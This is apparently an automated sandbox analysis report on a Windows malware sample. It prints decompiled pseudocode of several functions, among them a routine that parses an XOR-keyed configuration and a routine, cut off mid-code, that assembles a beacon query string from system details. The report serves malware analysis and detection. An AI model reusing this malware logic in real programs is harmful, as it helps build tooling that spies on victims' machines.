Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Allocate$Freelstrlen
String ID:
API String ID: 2220322926-0
Opcode ID: 91ef334c05c9d2f2d910783287ec909cb0979de70515a0c697ec708417ae17af
Instruction ID: b564efc2d7badefa822c17ab27dfcf1ae3e0f874141105b5dbda575be8197d72
Opcode Fuzzy Hash: 91ef334c05c9d2f2d910783287ec909cb0979de70515a0c697ec708417ae17af
Instruction Fuzzy Hash: AF016D36200604FFDB11AF95DC80E9ABBB9EB44654F10412DF90586160EB71EE86DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0418A71F, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0418A71F(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x418d238, 0, _a4); // executed
				return _t2;
			}

0x0418a72b
0x0418a731

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8e223bf071b85f29d4d7be31b9a2b911f0a8f16ae743242b5026baf4424eb8f3
Instruction ID: 3a973098f01a3650d1509e3b2c3e64abbc48c20e66e1cc18e7627dc9a7f4cefb
Opcode Fuzzy Hash: 8e223bf071b85f29d4d7be31b9a2b911f0a8f16ae743242b5026baf4424eb8f3
Instruction Fuzzy Hash: 2AB01235000200ABDA014B01ED08F05BB62FB50700F014118B204440B087354CE0FB14

Uniqueness

Uniqueness Score: -1.00%

Function 0418A734, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0418A734(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x418d238, 0, _a4); // executed
				return _t2;
			}

0x0418a740
0x0418a746

APIs

RtlFreeHeap.NTDLL(00000000,00000000,04185637,00000000,?,?,00000000), ref: 0418A740

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 3dbe6315f114a75512f451a588cc73c8bcf190a8e30e68a89baa2c3e26ce2bc6
Instruction ID: 72a372e86e21b2e0313bfc4d3c875e6a8de5860740bdfbd4600dc55a5d0d8eda
Opcode Fuzzy Hash: 3dbe6315f114a75512f451a588cc73c8bcf190a8e30e68a89baa2c3e26ce2bc6
Instruction Fuzzy Hash: 04B01275100200EBDA114B42EE04F05FB22EB90740F004019B304080B087354CA0FB25

Uniqueness

Uniqueness Score: -1.00%

Function 04184776, Relevance: 1.3, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04184776(intOrPtr* __eax, void* __ecx, void* __edx, void* _a4, void** _a8) {
				int _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				int _v60;
				char _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				void* _t35;
				void* _t40;
				void* _t49;
				void* _t51;
				int _t57;
				void* _t60;
				void* _t61;

				_t51 = _a4;
				_t57 = 0;
				_t58 = __ecx;
				_v12 = 0;
				_v8 = 0;
				_a4 = 0;
				if(__ecx <= 0x40 ||  *__eax != 0x200) {
					L21:
					return _t57;
				} else {
					_t6 = _t58 - 0x40; // 0x4185249
					_t55 =  &_v92;
					_t35 = E04181000(__eax,  &_v92, __edx,  &_v92,  &_v12, _t51 + _t6);
					if(_t35 != 0) {
						goto L21;
					}
					_t59 = __ecx - 0x40;
					if(_v60 > __ecx - 0x40) {
						goto L21;
					}
					while( *((char*)(_t61 + _t35 - 0x48)) == 0) {
						_t35 = _t35 + 1;
						if(_t35 < 0x10) {
							continue;
						}
						_t57 = _v60;
						_t49 = E0418A71F(_t57);
						_a4 = _t49;
						_t70 = _t49;
						if(_t49 != 0) {
							_t57 = 0;
							L18:
							if(_t57 != 0) {
								goto L21;
							}
							L19:
							if(_a4 != 0) {
								E0418A734(_a4);
							}
							goto L21;
						}
						memcpy(_t49, _t51, _t57);
						L8:
						_t60 = _a4;
						E041890F4(_t55, _t70, _t60, _t57,  &_v28);
						if(_v28 != _v92 || _v24 != _v88 || _v20 != _v84 || _v16 != _v80) {
							L15:
							_t57 = 0;
							goto L19;
						} else {
							 *_a8 = _t60;
							goto L18;
						}
					}
					_t40 = E041837B8(_t59, _t51,  &_a4,  &_v8,  &_v76, 0); // executed
					__eflags = _t40;
					if(_t40 != 0) {
						_t57 = _v8;
						goto L18;
					}
					_t57 = _v60;
					__eflags = _v8 - _t57;
					if(__eflags >= 0) {
						goto L8;
					}
					goto L15;
				}
			}

0x0418477d
0x04184782
0x04184784
0x04184786
0x04184789
0x0418478c
0x04184792
0x04184866
0x0418486c
0x041847a4
0x041847a4
0x041847ad
0x041847b1
0x041847b8
0x00000000
0x00000000
0x041847be
0x041847c4
0x00000000
0x00000000
0x041847ca
0x041847d1
0x041847d5
0x00000000
0x00000000
0x041847d7
0x041847db
0x041847e0
0x041847e3
0x041847e5
0x0418484d
0x04184854
0x04184856
0x00000000
0x00000000
0x04184858
0x0418485c
0x04184861
0x04184861
0x00000000
0x0418485c
0x041847ea
0x041847f2
0x041847f2
0x041847fb
0x04184806
0x04184849
0x04184849
0x00000000
0x04184820
0x04184823
0x00000000
0x04184823
0x04184806
0x04184838
0x0418483d
0x0418483f
0x04184851
0x00000000
0x04184851
0x04184841
0x04184844
0x04184847
0x00000000
0x00000000
0x00000000
0x04184847

APIs

memcpy.NTDLL(00000000,04185289,?,?,?,04185289,04185249,00000002,04185289,04185289), ref: 041847EA

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 31d2aeb871fed480a51b5b04fc6f2b391b77cb89b72ef696dcf898d8526d7ca6
Instruction ID: 566c07a7568781bde336faaed1cbf237e38080b4b444f2b8ab794fb3d1610614
Opcode Fuzzy Hash: 31d2aeb871fed480a51b5b04fc6f2b391b77cb89b72ef696dcf898d8526d7ca6
Instruction Fuzzy Hash: A6313C7294019EEBDF11EFD6C8C49EEBBB9AF81354F11405EE915A7140EB30BA858F90

Uniqueness

Uniqueness Score: -1.00%

Function 04185356, Relevance: 1.3, APIs: 1, Instructions: 43
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04185356(intOrPtr* __edi, void* _a4, void* _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E04188BC1(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x418d238, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E041848F1(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}

0x04185356
0x0418535e
0x04185375
0x04185390
0x04185394
0x04185399
0x0418539b
0x041853ad
0x041853b9
0x0418539d
0x0418539d
0x041853a2
0x041853a7
0x041853a7
0x0418539b
0x041853bf
0x041853c3
0x041853c3
0x0418536a
0x0418536f
0x04185373
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 041848F1: SysFreeString.OLEAUT32(00000000), ref: 04184954

HeapFree.KERNEL32(00000000,00000000,00000000,80000002,7519F710,?,00000000,?,00000000,?,04188D51,?,004F0053,04B29368,00000000,?), ref: 041853B9

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Free$HeapString
String ID:
API String ID: 3806048269-0
Opcode ID: bd8678303093503b9e2719e937657ea2d5ad7d7d26c4122bb3bf03614ba00d34
Instruction ID: 0815b2b14d52a280afdc7813e709dfe67a9a371ce2e779cf498a29b67e50050e
Opcode Fuzzy Hash: bd8678303093503b9e2719e937657ea2d5ad7d7d26c4122bb3bf03614ba00d34
Instruction Fuzzy Hash: 5B016D32501619BBDB22AF94CC41EEE7B66EF44790F44802CFE059A120E771E960DFD0

Uniqueness

Uniqueness Score: -1.00%

Function 04181AE2, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E04181AE2(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x04181ae2
0x04181aef
0x04181af0
0x04181af1
0x04181af8
0x04181b26
0x04181b27
0x04181b2a
0x04181b30
0x00000000
0x00000000
0x04181b0f
0x04181b19
0x04181b20
0x00000000
0x04181b11
0x04181b14
0x04181b34
0x04181b16
0x04181b16
0x00000000
0x04181b16
0x04181b14
0x04181b3b
0x04181b41
0x04181b41
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 04181B2A

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b32a4bd6d8df6f894f76ba9faa50e69421ba1505ef3c40b36a11c6855125d385
Instruction ID: cf2463eb07f2e84a1c9b0b9115a3270f3e91904dc205a4a7c18a0bd541761283
Opcode Fuzzy Hash: b32a4bd6d8df6f894f76ba9faa50e69421ba1505ef3c40b36a11c6855125d385
Instruction Fuzzy Hash: C5F01476D01218FBCB00EB94C588AEDB7B8EF44305F1480AEE902A7200E3B46B85CF65

Uniqueness

Uniqueness Score: -1.00%

Function 04185D7D, Relevance: 1.3, APIs: 1, Instructions: 26
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04185D7D(intOrPtr _a4, intOrPtr _a8, void* _a12, intOrPtr _a16, WCHAR* _a20) {
				void* _t17;

				if(_a4 == 0) {
					L2:
					return E04186002(_a8, 1, _a12, _a16, _a20, lstrlenW(_a20) + _t14 + 2);
				}
				_t17 = E04186207(_a4, _a8, _a12, _a16, _a20); // executed
				if(_t17 != 0) {
					goto L2;
				}
				return _t17;
			}

0x04185d85
0x04185d9f
0x00000000
0x04185dbb
0x04185d96
0x04185d9d
0x00000000
0x00000000
0x04185dc2

APIs

lstrlenW.KERNEL32(?,?,?,04188708,3D0418C0,80000002,04183741,0418A513,74666F53,4D4C4B48,0418A513,?,3D0418C0,80000002,04183741,?), ref: 04185DA2

Part of subcall function 04186207: SysAllocString.OLEAUT32(0418A513), ref: 04186220
Part of subcall function 04186207: SysFreeString.OLEAUT32(00000000), ref: 04186261

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFreelstrlen
String ID:
API String ID: 3808004451-0
Opcode ID: 23096659c3ef3d161c8e0ebec30c242623b5e519b4f53c9b8eae11379b43d73b
Instruction ID: 3ca04e8a7d53b3b2faa5d2ed95db3addcc9b3641bc9dabb0cc34446f717f889d
Opcode Fuzzy Hash: 23096659c3ef3d161c8e0ebec30c242623b5e519b4f53c9b8eae11379b43d73b
Instruction Fuzzy Hash: 7FF0923200020EBFDF126F90DC46E9A3F6AEB18354F048018FE1454060D732E9B1EFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04184A09, Relevance: 1.3, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04184A09(void* __edi, void* _a4) {
				int _t7;
				int _t12;

				_t7 = E04181526(__edi, _a4,  &_a4); // executed
				_t12 = _t7;
				if(_t12 != 0) {
					memcpy(__edi, _a4, _t12);
					 *((char*)(__edi + _t12)) = 0;
					E0418A734(_a4);
				}
				return _t12;
			}

0x04184a15
0x04184a1a
0x04184a1e
0x04184a25
0x04184a30
0x04184a34
0x04184a34
0x04184a3d

APIs

Part of subcall function 04181526: memcpy.NTDLL(00000000,00000090,00000002,00000002,04185289,00000008,04185289,04185289,?,0418A3FE,04185289), ref: 0418155C
Part of subcall function 04181526: memset.NTDLL ref: 041815D1
Part of subcall function 04181526: memset.NTDLL ref: 041815E5

memcpy.NTDLL(00000002,04185289,00000000,00000002,04185289,04185289,04185289,?,0418A3FE,04185289,?,04185289,00000002,?,?,04185D5E), ref: 04184A25

Part of subcall function 0418A734: RtlFreeHeap.NTDLL(00000000,00000000,04185637,00000000,?,?,00000000), ref: 0418A740

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpymemset$FreeHeap
String ID:
API String ID: 3053036209-0
Opcode ID: e6817b10372af5116933f012d7fa3afbfc5e6b6b9757d7c95a37c68b0d13499d
Instruction ID: f603f9929da2d645c90fb97820a91985c2409efde9c72f774678e127f322aaef
Opcode Fuzzy Hash: e6817b10372af5116933f012d7fa3afbfc5e6b6b9757d7c95a37c68b0d13499d
Instruction Fuzzy Hash: B9E08C3740112977DB127A94EC80EEF7F6C8F526A5F004029FE089A200E732E610ABE1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0418888E, Relevance: 10.7, APIs: 7, Instructions: 237
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E0418888E(int* __ecx) {
				int _v8;
				void* _v12;
				void* _v16;
				void* __esi;
				signed int _t26;
				signed int _t31;
				signed int _t37;
				char* _t43;
				char* _t44;
				char* _t45;
				char* _t46;
				char* _t47;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t51;
				void* _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				signed int _t58;
				intOrPtr _t61;
				signed int _t62;
				signed int _t67;
				void* _t69;
				void* _t70;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				signed int _t84;
				signed int _t88;
				signed int _t92;
				void* _t97;
				intOrPtr _t114;

				_t98 = __ecx;
				_t26 =  *0x418d2a4; // 0x63699bc3
				if(E04187145( &_v8,  &_v12, _t26 ^ 0x8241c5a7) != 0 && _v12 >= 0x90) {
					 *0x418d2d8 = _v8;
				}
				_t31 =  *0x418d2a4; // 0x63699bc3
				if(E04187145( &_v16,  &_v12, _t31 ^ 0x0b822240) == 0) {
					_v12 = 2;
					L62:
					return _v12;
				}
				_t37 =  *0x418d2a4; // 0x63699bc3
				if(E04187145( &_v12,  &_v8, _t37 ^ 0xecd84622) == 0) {
					L60:
					HeapFree( *0x418d238, 0, _v16);
					goto L62;
				} else {
					_t97 = _v12;
					if(_t97 == 0) {
						_t43 = 0;
					} else {
						_t92 =  *0x418d2a4; // 0x63699bc3
						_t43 = E04186B2E(_t98, _t97, _t92 ^ 0x724e87bc);
					}
					if(_t43 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t43, 0,  &_v8) != 0) {
							 *0x418d240 = _v8;
						}
					}
					if(_t97 == 0) {
						_t44 = 0;
					} else {
						_t88 =  *0x418d2a4; // 0x63699bc3
						_t44 = E04186B2E(_t98, _t97, _t88 ^ 0x2b40cc40);
					}
					if(_t44 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t44, 0,  &_v8) != 0) {
							 *0x418d244 = _v8;
						}
					}
					if(_t97 == 0) {
						_t45 = 0;
					} else {
						_t84 =  *0x418d2a4; // 0x63699bc3
						_t45 = E04186B2E(_t98, _t97, _t84 ^ 0x3b27c2e6);
					}
					if(_t45 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x418d248 = _v8;
						}
					}
					if(_t97 == 0) {
						_t46 = 0;
					} else {
						_t80 =  *0x418d2a4; // 0x63699bc3
						_t46 = E04186B2E(_t98, _t97, _t80 ^ 0x0602e249);
					}
					if(_t46 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x418d004 = _v8;
						}
					}
					if(_t97 == 0) {
						_t47 = 0;
					} else {
						_t76 =  *0x418d2a4; // 0x63699bc3
						_t47 = E04186B2E(_t98, _t97, _t76 ^ 0x3603764c);
					}
					if(_t47 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x418d02c = _v8;
						}
					}
					if(_t97 == 0) {
						_t48 = 0;
					} else {
						_t72 =  *0x418d2a4; // 0x63699bc3
						_t48 = E04186B2E(_t98, _t97, _t72 ^ 0x2cc1f2fd);
					}
					if(_t48 != 0) {
						_push(_t48);
						_t69 = 0x10;
						_t70 = E041856FA(_t69);
						if(_t70 != 0) {
							_push(_t70);
							E04186702();
						}
					}
					if(_t97 == 0) {
						_t49 = 0;
					} else {
						_t67 =  *0x418d2a4; // 0x63699bc3
						_t49 = E04186B2E(_t98, _t97, _t67 ^ 0xb30fc035);
					}
					if(_t49 != 0 && E041856FA(0, _t49) != 0) {
						_t114 =  *0x418d32c; // 0x4b295b0
						E041823F4(_t114 + 4, _t65);
					}
					if(_t97 == 0) {
						_t50 = 0;
					} else {
						_t62 =  *0x418d2a4; // 0x63699bc3
						_t50 = E04186B2E(_t98, _t97, _t62 ^ 0x372ab5b7);
					}
					if(_t50 == 0) {
						L52:
						_t51 =  *0x418d2a8; // 0x99a5a8
						_t20 = _t51 + 0x418e252; // 0x616d692f
						 *0x418d2d4 = _t20;
						goto L53;
					} else {
						_t61 = E041856FA(0, _t50);
						 *0x418d2d4 = _t61;
						if(_t61 != 0) {
							L53:
							if(_t97 == 0) {
								_t53 = 0;
							} else {
								_t58 =  *0x418d2a4; // 0x63699bc3
								_t53 = E04186B2E(_t98, _t97, _t58 ^ 0xd8dc5cde);
							}
							if(_t53 == 0) {
								_t54 =  *0x418d2a8; // 0x99a5a8
								_t21 = _t54 + 0x418e791; // 0x6976612e
								_t55 = _t21;
							} else {
								_t55 = E041856FA(0, _t53);
							}
							 *0x418d340 = _t55;
							HeapFree( *0x418d238, 0, _t97);
							_v12 = 0;
							goto L60;
						}
						goto L52;
					}
				}
			}

0x0418888e
0x04188891
0x041888b1
0x041888bf
0x041888bf
0x041888c4
0x041888de
0x04188b0d
0x04188b14
0x04188b1b
0x04188b1b
0x041888e4
0x04188900
0x04188afb
0x04188b05
0x00000000
0x04188906
0x04188906
0x0418890b
0x04188921
0x0418890d
0x0418890d
0x0418891a
0x0418891a
0x0418892b
0x0418892d
0x04188937
0x0418893c
0x0418893c
0x04188937
0x04188943
0x04188959
0x04188945
0x04188945
0x04188952
0x04188952
0x0418895d
0x0418895f
0x04188969
0x0418896e
0x0418896e
0x04188969
0x04188975
0x0418898b
0x04188977
0x04188977
0x04188984
0x04188984
0x0418898f
0x04188991
0x0418899b
0x041889a0
0x041889a0
0x0418899b
0x041889a7
0x041889bd
0x041889a9
0x041889a9
0x041889b6
0x041889b6
0x041889c1
0x041889c3
0x041889cd
0x041889d2
0x041889d2
0x041889cd
0x041889d9
0x041889ef
0x041889db
0x041889db
0x041889e8
0x041889e8
0x041889f3
0x041889f5
0x041889ff
0x04188a04
0x04188a04
0x041889ff
0x04188a0b
0x04188a21
0x04188a0d
0x04188a0d
0x04188a1a
0x04188a1a
0x04188a25
0x04188a27
0x04188a2a
0x04188a2b
0x04188a32
0x04188a34
0x04188a35
0x04188a35
0x04188a32
0x04188a3c
0x04188a52
0x04188a3e
0x04188a3e
0x04188a4b
0x04188a4b
0x04188a56
0x04188a64
0x04188a6e
0x04188a6e
0x04188a75
0x04188a8b
0x04188a77
0x04188a77
0x04188a84
0x04188a84
0x04188a8f
0x04188aa2
0x04188aa2
0x04188aa7
0x04188aad
0x00000000
0x04188a91
0x04188a94
0x04188a99
0x04188aa0
0x04188ab2
0x04188ab4
0x04188aca
0x04188ab6
0x04188ab6
0x04188ac3
0x04188ac3
0x04188ace
0x04188ada
0x04188adf
0x04188adf
0x04188ad0
0x04188ad3
0x04188ad3
0x04188aed
0x04188af2
0x04188af8
0x00000000
0x04188af8
0x00000000
0x04188aa0
0x04188a8f

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,04185D25,?,63699BC3,?,04185D25,63699BC3,?,04185D25,63699BC3,00000005,0418D00C,00000008), ref: 04188933
StrToIntExA.SHLWAPI(00000000,00000000,?,04185D25,?,63699BC3,?,04185D25,63699BC3,?,04185D25,63699BC3,00000005,0418D00C,00000008), ref: 04188965
StrToIntExA.SHLWAPI(00000000,00000000,?,04185D25,?,63699BC3,?,04185D25,63699BC3,?,04185D25,63699BC3,00000005,0418D00C,00000008), ref: 04188997
StrToIntExA.SHLWAPI(00000000,00000000,?,04185D25,?,63699BC3,?,04185D25,63699BC3,?,04185D25,63699BC3,00000005,0418D00C,00000008), ref: 041889C9
StrToIntExA.SHLWAPI(00000000,00000000,?,04185D25,?,63699BC3,?,04185D25,63699BC3,?,04185D25,63699BC3,00000005,0418D00C,00000008), ref: 041889FB
HeapFree.KERNEL32(00000000,04185D25,04185D25,?,63699BC3,?,04185D25,63699BC3,?,04185D25,63699BC3,00000005,0418D00C,00000008,?,04185D25), ref: 04188AF2
HeapFree.KERNEL32(00000000,?,04185D25,?,63699BC3,?,04185D25,63699BC3,?,04185D25,63699BC3,00000005,0418D00C,00000008,?,04185D25), ref: 04188B05

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d2c251227c763d72f2eb9ba7290f6cf069af45dc9f227794048e1c016c78e084
Instruction ID: 3f765382c87350ecb84051f41eea192cf23e1143f8c0eb717b0b2de6ac53331b
Opcode Fuzzy Hash: d2c251227c763d72f2eb9ba7290f6cf069af45dc9f227794048e1c016c78e084
Instruction Fuzzy Hash: 30715D75B00205EED710FBBAADC4D5BB7EEEB883407A4495DA40AD7284E734F9818F61

Uniqueness

Uniqueness Score: -1.00%

Function 04181F13, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E04181F13(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0x418d018; // 0xb20846e7
				asm("bswap eax");
				_t27 =  *0x418d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0x418d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0x418d00c; // 0x8f8f86c2
				asm("bswap eax");
				_t30 =  *0x418d2a8; // 0x99a5a8
				_t3 = _t30 + 0x418e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d15e, _t29, _t28, _t27, _t26,  *0x418d02c,  *0x418d004, _t25);
				_t33 = E041856CD();
				_t34 =  *0x418d2a8; // 0x99a5a8
				_t4 = _t34 + 0x418e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E041858DB(_t91);
				if(_t96 != 0) {
					_t83 =  *0x418d2a8; // 0x99a5a8
					_t6 = _t83 + 0x418e8d4; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0x418d238, 0, _t96);
				}
				_t97 = E0418A199();
				if(_t97 != 0) {
					_t78 =  *0x418d2a8; // 0x99a5a8
					_t8 = _t78 + 0x418e8dc; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0x418d238, 0, _t97);
				}
				_t98 =  *0x418d32c; // 0x4b295b0
				_a32 = E04184622(0x418d00a, _t98 + 4);
				_t42 =  *0x418d2d0; // 0x0
				if(_t42 != 0) {
					_t74 =  *0x418d2a8; // 0x99a5a8
					_t11 = _t74 + 0x418e8b6; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0x418d2cc; // 0x0
				if(_t43 != 0) {
					_t71 =  *0x418d2a8; // 0x99a5a8
					_t13 = _t71 + 0x418e88d; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0x418d238, 0, 0x800);
					if(_t100 != 0) {
						E0418518F(GetTickCount());
						_t50 =  *0x418d32c; // 0x4b295b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0x418d32c; // 0x4b295b0
						__imp__(_t54 + 0x40);
						_t56 =  *0x418d32c; // 0x4b295b0
						_t103 = E04181BB6(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0x418c28c);
							_push(_t103);
							_t62 = E0418361A();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
